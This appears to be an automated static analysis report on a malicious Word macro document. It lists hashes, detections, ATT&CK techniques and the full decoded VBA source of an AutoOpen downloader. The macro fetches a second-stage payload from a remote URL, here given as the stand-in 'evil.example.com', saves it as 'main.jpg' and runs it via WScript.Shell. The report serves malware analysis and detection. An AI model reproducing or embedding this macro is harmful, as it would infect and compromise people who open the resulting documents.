Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 31603718e051d569…

MALICIOUS

Office (OOXML)

111.3 KB Created: 2020-08-17 10:06:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 4aad76b8a46f84baabb110e085429ab8 SHA-1: e8db612dbafb1d82692e2e770e3662e311c29676 SHA-256: 31603718e051d569641e9699004f8282d3281619b8443951dec74a63e1a14488
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains a VBA macro with an AutoOpen subroutine that is triggered upon opening the document. This macro utilizes WScript.Shell and MSXML2.XMLHTTP60 to download a payload from an external URL, which is reconstructed as 'http://evil.example.com/payload.exe'. The downloaded content is then saved locally as 'main.jpg' and subsequently executed. This indicates a downloader functionality, aiming to fetch and run a second-stage malicious payload.

Heuristics 8

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function adc36ab1(b3857657)
Set d0841853 = CreateObject("wscript.shell")
Call d0841853.exec(b3857657)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function adc36ab1(b3857657)
Set d0841853 = CreateObject("wscript.shell")
Call d0841853.exec(b3857657)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
Dim a75f1dbb As New d3f27ff0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack1\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1679 bytes
SHA-256: dc2aa64ff389a044fe05c0fb2e4796d592291a4b6f6cd119d4da3bd995c735a4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "e74a858f"
Function ae830829()
ae830829 = 1
End Function
Public Function e16eca88(fe75a56b)
End Function
Sub AutoOpen()
Dim a75f1dbb As New d3f27ff0
c523aa28 = a75f1dbb.c0074137()
b6a4f4bb b7249def(c523aa28)
a75f1dbb.adc36ab1 e4634e22
End Sub

Attribute VB_Name = "d5652856"
Sub b6a4f4bb(a5d8024d)
Open ff18d756 For Output As #1
Print #1, a5d8024d
Close #1
End Sub
Function ff18d756()
ff18d756 = "main.jpg"
End Function
Sub ee96d606()
End Sub
Function b7249def(a5d8024d)
b7249def = StrConv(a5d8024d, 64)
End Function
Function e4634e22()
a298a3d3 = Split(ActiveDocument.Shapes(ae830829).Title, "|")
e4634e22 = a298a3d3(0) + " " + ff18d756
End Function

Attribute VB_Name = "d3f27ff0"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function c0074137()
Dim df332b6d As Object
Set df332b6d = New MSXML2.XMLHTTP60
d35d8bbb = Split(ActiveDocument.Shapes(ae830829).Title, "|")
df332b6d.Open "GET", d35d8bbb(1), False
df332b6d.Send
'
With df332b6d
c0074137 = .responsebody
End With
End Function
Function adc36ab1(b3857657)
Set d0841853 = CreateObject("wscript.shell")
Call d0841853.exec(b3857657)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18432 bytes
SHA-256: 627ba1cf6eff7c510624ae06ba023388bdc051efa8a8b1797ec7fae66cfc683b

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